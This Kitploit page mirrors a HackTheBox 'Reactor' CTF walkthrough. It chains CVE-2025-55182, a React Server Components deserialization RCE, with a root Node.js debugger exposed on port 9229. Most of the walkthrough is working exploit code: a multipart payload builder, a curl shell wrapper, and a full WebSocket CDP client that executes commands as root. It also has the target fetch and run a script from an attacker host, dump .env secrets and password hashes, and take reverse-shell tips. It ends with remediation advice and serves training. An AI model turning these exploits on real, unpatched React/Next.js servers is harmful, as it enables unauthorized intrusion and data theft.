Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
HTB-Reactor-Linux-Machine-Walkthrough — Full walkthrough of HTB's Reactor machine — exploit CVE-2025-55182 to gain a shell, then get root via an exposed Node.js debugger. Step-by-step with screenshots. | Kitploit
Tools/GitHubGitHub/sonnycroco/htb-reactor-linux-machine-walkthrough
Privilege EscalationReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationCTFPenetration TestingLearning & Education

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
Remote Access Tool
Labs & Practice
GitHubsonnycroco/htb-reactor-linux-machine-walkthrough

HTB-Reactor-Linux-Machine-Walkthrough

Full walkthrough of HTB's Reactor machine — exploit CVE-2025-55182 to gain a shell, then get root via an exposed Node.js debugger. Step-by-step with screenshots.

View Repository
112 months agoNot yet reviewed

HTB: Reactor

Difficulty OS Status CVE CVSS


[!CAUTION] Spoiler warning. This is a full walkthrough including flags. If you want to solve the machine yourself, close this now and come back when you're stuck.


Machine Info

FieldDetails
NameReactor
OSUbuntu 24.04 LTS (Noble)
DifficultyMedium
CVECVE-2025-55182 (CVSS 10.0)
Ports22 (SSH), 3000 (Next.js)
Authorsonnycroco

Overview

Reactor is themed around a nuclear plant monitoring dashboard called ReactorWatch. The box is entirely about two vulnerabilities chained together, no guessing, no rabbit holes, no brute force.

The path: a pre-release React 19 build exposes a critical deserialization flaw that gives you unauthenticated remote code execution with a single HTTP request. From there, a Node.js debugging port running as root hands you full system access via a WebSocket message.

Attack chain:

root@kitploit:~
Unauthenticated HTTP POST
        │
        │  CVE-2025-55182 - React RSC multipart deserialization
        ▼
  RCE as node (uid=999)
        │
        │  Root Node.js process with --inspect exposed on localhost
        ▼
  CDP Runtime.evaluate -> RCE as root (uid=0)
        │
        ├── user.txt ✓
        └── root.txt ✓

Table of Contents

  1. Step 1: Recon
  2. Step 2: Fingerprinting the Tech Stack
  3. Step 3: Exploiting CVE-2025-55182 (Unauthenticated RCE)
  4. Step 4: Poking Around as node
  5. Step 5: User Flag
  6. Step 6: Privilege Escalation
  7. Step 7: Root Flag
  8. Lessons Learned
  9. Remediation

Step 1: Recon

The first thing to do on any new machine is find out what's listening. A full port scan with service detection so nothing gets missed.

root@kitploit:~
nmap -sV -sC -T4 -p- --min-rate 5000 10.129.8.56
root@kitploit:~
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
3000/tcp open  http    Next.js 15.0.3

Nmap scan results showing ports 22 and 3000 open with Next.js fingerprinted

Only two ports. SSH is a dead end at this stage since we have no credentials yet. Port 3000 is the target. Nmap already tells us it's Next.js 15.0.3, which is a good lead.


Step 2: Fingerprinting the Tech Stack

Before throwing exploits at anything, I want to know the exact version of everything running. The HTTP headers already revealed Next.js, but the React version is the critical detail. React 19 was in pre-release for a long time and had some serious issues before the stable release.

Pulling one of the client-side JavaScript chunks to check:

root@kitploit:~
curl -s http://10.129.8.56:3000/_next/static/chunks/517-d083b552e04dead1.js \
  | grep -oP '[0-9]+\.[0-9]+\.[0-9]+-rc-[a-z0-9-]+'
root@kitploit:~
19.0.0-rc-66855b96-20241106

That rc in the version string is the smoking gun. This is a release candidate build of React 19, not the stable version. CVE databases confirm: CVE-2025-55182 affects exactly this build. CVSS 10.0.

While here, I check the headers for middleware clues:

root@kitploit:~
X-Powered-By: Next.js
x-nextjs-cache: HIT
x-nextjs-prerender: 1

No x-middleware-rewrite header anywhere, which means there is no Next.js middleware installed. This rules out CVE-2025-29927 (the middleware bypass), worth noting so you don't waste time on it.

What we know:

  • Next.js 15.0.3 with experimental.serverActions enabled
  • React 19.0.0-rc, vulnerable to CVE-2025-55182
  • App name: ReactorWatch (nuclear reactor sensor dashboard)
  • No middleware, so the middleware bypass CVE does not apply here

Technology fingerprinting showing React 19.0.0-rc detected and CVE-2025-55182 identified


Step 3: Exploiting CVE-2025-55182 (Unauthenticated RCE)

What the vulnerability is

React 19's Server Components introduced Server Actions, which are server-side functions callable by the client via HTTP POST with a Next-Action header. The multipart body parser that handles these requests has a critical flaw: it unsafely deserializes a reference type called $1:__proto__:then.

By crafting a multipart body that sets _response._prefix to arbitrary JavaScript, an attacker causes that code to be evaluated on the server. The output is then smuggled out via an exception Next.js uses internally for redirects (NEXT_REDIRECT), and ends up URL-encoded inside the x-action-redirect response header.

Any POST to any page with the Next-Action header triggers this. No auth check, no special endpoint. Just send the payload to / and you're in.

Building the exploit

A small Python helper that takes a shell command as input, builds the multipart payload, and writes it to disk for curl to send:

make_rce.py - payload builder
root@kitploit:~
# /tmp/make_rce.py
import sys

cmd = ' '.join(sys.argv[1:])
cmd_esc = cmd.replace("\\", "\\\\").replace("'", "\\'")

payload = (
    b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
    b'Content-Disposition: form-data; name="0"\r\n\r\n'
    + ('{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
       '"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":'
       '"var res=process.mainModule.require(\'child_process\').execSync(\''
       + cmd_esc +
       '\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),'
       '{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2",'
       '"_formData":{"get":"$1:constructor:constructor"}}}').encode('utf-8')
    + b'\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
    b'Content-Disposition: form-data; name="1"\r\n\r\n'
    b'"$@0"\r\n'
    b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
    b'Content-Disposition: form-data; name="2"\r\n\r\n'
    b'[]\r\n'
    b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad--'
)
with open('/tmp/rce_payload.bin', 'wb') as f:
    f.write(payload)

Wrapping everything in a shell function for a pseudo-shell feel:

root@kitploit:~
rce() {
  python3 /tmp/make_rce.py "$*" > /dev/null
  curl -s -D /tmp/rh.txt -X POST "http://10.129.8.56:3000/" \
    -H "Next-Action: x" \
    -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
    --data-binary "@/tmp/rce_payload.bin" > /dev/null
  grep -oP 'x-action-redirect: /login\?a=\K[^;]+' /tmp/rh.txt \
    | python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read().strip()))"
}

The raw HTTP exchange. Command output is sitting right there in the redirect header:

root@kitploit:~
POST / HTTP/1.1
Host: 10.129.8.56:3000
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

[... multipart body ...]

HTTP/1.1 303 See Other
x-action-redirect: /login?a=uid=999(node) gid=988(node) groups=988(node);push

Firing it

root@kitploit:~
rce "id"
# uid=999(node) gid=988(node) groups=988(node)

We're in as the node service account. No authentication, no brute force, no social engineering. Just one HTTP POST. This is what a CVSS 10.0 looks like in practice.

CVE-2025-55182 raw HTTP exploit request and response with command output visible in the redirect header

[!WARNING] Two things to know before continuing:

  • execSync is synchronous and blocks the response thread. Don't try spawning a reverse shell with it, use the async exec() instead or the server will hang.
  • The NEXT_REDIRECT template literal breaks on newlines. Always pipe multi-line output through paste -sd, to flatten it before it goes into the URL.

Step 4: Poking Around as node

With code execution established, the next goal is to understand the environment: what's on this box, what credentials are lying around, and whether there's an obvious path to a higher-privileged user.

Checking the app config

root@kitploit:~
rce "cat /opt/reactor-app/.env | paste -sd,"
root@kitploit:~
DB_PATH=/opt/reactor-app/reactor.db
SENSOR_API_KEY=rw_sk_7f8a9b2c3d4e5f6g7h8i9j0k
NODE_ENV=production

There's a SQLite database on disk. Checking what's inside:

root@kitploit:~
rce "sqlite3 /opt/reactor-app/reactor.db 'SELECT * FROM users' | paste -sd,"
root@kitploit:~
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|[email protected]

An admin account with an MD5 hash. Running it through John with rockyou doesn't crack it. That's fine, hash cracking turns out to be unnecessary once we find the real privesc path. Setting this aside and continuing.

Checking users and home directories

root@kitploit:~
rce "cat /etc/passwd | grep -v nologin | grep -v false | paste -sd,"
root@kitploit:~
root:x:0:0:root:/root:/bin/bash
engineer:x:1000:1000:engineer:/home/engineer:/bin/bash

There's a user called engineer. The user flag lives in their home directory.

[!NOTE] On some instances of this machine, /home/engineer/ has 700 permissions set, meaning the node service account can't read it directly. If that's the case for you, don't panic. The root privesc path covered in Step 6 lets you read both flags as root.


Step 5: User Flag

root@kitploit:~
rce "cat /home/engineer/user.txt"
root@kitploit:~
f7b714f9fdf5c08a5f240668792aa13f

If /home/engineer/ is locked down on your instance, skip ahead to Step 6 and grab both flags as root.


Step 6: Privilege Escalation

Finding the path to root

With a foothold established, checking what processes are running on the machine. The full ps aux is long so filtering for anything Node.js-related:

root@kitploit:~
rce "ps aux | grep -E 'inspect|node' | paste -sd,"
root@kitploit:~
node    1415  next-server (v15.0.3)
root    1417  /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js

There it is. A second Node.js process running as root, launched with the --inspect flag bound to 127.0.0.1:9229. This is an uptime monitoring script that someone started with the Node.js debugger enabled and just left running.

Why this gives us root

The --inspect flag opens the Chrome DevTools Protocol (CDP), which is the same protocol your browser's developer tools use. When you connect to it, you can tell the process to evaluate arbitrary JavaScript in its own V8 context. Since this process runs as root, anything you evaluate runs as root too.

The only barrier is that the debugger is bound to localhost, but we already have code execution on the box as node so we can reach it without issue.

Confirming the debugger is live and grabbing the WebSocket URL:

root@kitploit:~
rce "curl -s http://127.0.0.1:9229/json | paste -sd,"
root@kitploit:~
[{
  "description": "node.js instance",
  "id": "1d85ee80-b525-4bdc-91c4-f52f7054294f",
  "title": "/opt/uptime-monitor/worker.js",
  "type": "node",
  "webSocketDebuggerUrl": "ws://127.0.0.1:9229/1d85ee80-b525-4bdc-91c4-f52f7054294f"
}]

[!IMPORTANT] The UUID in the WebSocket URL (1d85ee80-...) is unique per process instance. Yours will be different. Copy it from your JSON output and update it in the exploit script before running.

ps aux output showing the root Node.js inspect process and the WebSocket debugger URL from the json endpoint

Writing the CDP exploit

To send a Runtime.evaluate command to the inspector, we need a WebSocket client. The ws npm package isn't on the target, so writing a minimal one from scratch using only Node.js built-ins: net for the TCP connection and crypto for WebSocket frame masking.

inspector_exploit.js - dependency-free WebSocket CDP client
root@kitploit:~
const net = require('net');
const crypto = require('crypto');

// Update WS_ID to match your instance's UUID from /json
const WS_ID = '1d85ee80-b525-4bdc-91c4-f52f7054294f';
const CMD = 'process.mainModule.require("child_process").execSync("cat /root/root.txt").toString()';

function encodeFrame(data) {
  const payload = Buffer.from(data, 'utf8');
  const mask = crypto.randomBytes(4);
  let headerLen = (payload.length < 126) ? 6 : 8;
  const header = Buffer.alloc(headerLen);
  header[0] = 0x81;
  if (payload.length < 126) {
    header[1] = 0x80 | payload.length;
    mask.copy(header, 2);
  } else {
    header[1] = 0xfe;
    header.writeUInt16BE(payload.length, 2);
    mask.copy(header, 4);
  }
  const masked = Buffer.alloc(payload.length);
  const maskStart = headerLen - 4;
  for (let i = 0; i < payload.length; i++) {
    masked[i] = payload[i] ^ header[maskStart + (i % 4)];
  }
  return Buffer.concat([header, masked]);
}

const sock = net.createConnection({ port: 9229, host: '127.0.0.1' });
let upgraded = false, chunks = Buffer.alloc(0);

sock.on('connect', () => {
  sock.write(
    `GET /${WS_ID} HTTP/1.1\r\n` +
    `Host: 127.0.0.1:9229\r\n` +
    `Upgrade: websocket\r\n` +
    `Connection: Upgrade\r\n` +
    `Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n` +
    `Sec-WebSocket-Version: 13\r\n\r\n`
  );
});

sock.on('data', (data) => {
  chunks = Buffer.concat([chunks, data]);
  if (!upgraded) {
    const str = chunks.toString('utf8');
    const sep = str.indexOf('\r\n\r\n');
    if (sep === -1) return;
    upgraded = true;
    chunks = chunks.slice(Buffer.byteLength(str.slice(0, sep + 4)));
    const msg = JSON.stringify({
      id: 1,
      method: 'Runtime.evaluate',
      params: { expression: CMD, returnByValue: true }
    });
    sock.write(encodeFrame(msg));
    return;
  }
  while (chunks.length > 2) {
    const b1 = chunks[1] & 0x7f;
    let payloadStart, payloadLen;
    if (b1 < 126) { payloadLen = b1; payloadStart = 2; }
    else { if (chunks.length < 4) return; payloadLen = chunks.readUInt16BE(2); payloadStart = 4; }
    if (chunks.length < payloadStart + payloadLen) return;
    process.stdout.write(chunks.slice(payloadStart, payloadStart + payloadLen).toString() + '\n');
    sock.destroy();
    process.exit(0);
  }
});

sock.on('error', (e) => { process.stderr.write(e.message + '\n'); process.exit(1); });
setTimeout(() => { process.stderr.write('timeout\n'); process.exit(1); }, 8000);

[!WARNING] Inside a CDP Runtime.evaluate call, the plain require() function is not in global scope, even though worker.js itself is a CommonJS module. You must use process.mainModule.require(...). Using bare require() will throw a ReferenceError and produce no output.

Delivering and running the exploit

Serving the script from the attack machine:

root@kitploit:~
python3 -m http.server 8080 --directory /tmp/www &

Downloading and running it on the target via the RCE chain:

root@kitploit:~
rce "curl -s http://<YOUR_IP>:8080/exploit.js -o /tmp/exploit.js && echo ok"
rce "node /tmp/exploit.js 2>&1 | paste -sd,"

Response:

root@kitploit:~
{"id":1,"result":{"result":{"type":"string","value":"uid=0(root) gid=0(root) groups=0(root)\n"}}}

We're evaluating arbitrary JavaScript inside a process running as uid=0.

CDP Runtime.evaluate response confirming uid=0 and code execution as root


Step 7: Root Flag

Same exploit, different command in CMD:

root@kitploit:~
rce "node /tmp/exploit_root.js 2>&1 | paste -sd,"
root@kitploit:~
{"id":1,"result":{"result":{"type":"string","value":"5c091a1960eb124c53910c1a1f456334\n"}}}
root@kitploit:~
root.txt: 5c091a1960eb124c53910c1a1f456334

Both flags captured, user.txt and root.txt, machine fully pwned

Total time from first request to root: under 10 minutes once you understand the CVE. No brute force, no password cracking, no rabbit holes.


Lessons Learned

1. Don't assume Next.js CVEs stack

CVE-2025-29927 (middleware bypass) was trending at the same time as CVE-2025-55182. Always verify whether middleware is actually present before testing its bypass. The presence or absence of the x-middleware-rewrite response header tells you immediately. Chasing the wrong CVE is an easy time sink.

2. execSync will break reverse shells

It blocks the entire server response thread until the subprocess exits. Spawning bash -i or a netcat shell through it will hang both sides. Use the async exec() from child_process instead if you need an interactive shell out of this exploit.

3. Flatten multi-line output before exfiltrating

Command output gets embedded inside a JavaScript template literal: NEXT_REDIRECT;push;/login?a=${res};307;. Any literal newline in res breaks the template literal and returns nothing. Pipe everything through paste -sd, to join lines before exfiltration.

4. require is not global in CDP context

When you send Runtime.evaluate to a Node.js inspector, you execute inside a V8 isolate that does not expose the CommonJS require function globally, even when the target process is itself a CommonJS module. Always use process.mainModule.require("module") inside CDP expressions.

5. Home directory permissions vary by instance

On some spawns of this machine, the node service account can read /home/engineer/user.txt directly. On others, 700 permissions on the home directory block it. The root privesc path always works and gives you both flags regardless.


Remediation


Download Tool
VulnerabilityFix
CVE-2025-55182Upgrade React from 19.0.0-rc to the stable React 19 release. Upgrade Next.js to version 15.2.3 or higher.
Node.js --inspect as rootRemove --inspect from all production processes entirely. Never bind the inspector to any address, even 127.0.0.1, on shared systems. Use a dedicated isolated environment for debugging.
SQLite DB in application directoryMove the database outside the web root. Restrict filesystem permissions so the web process can only access what it strictly needs.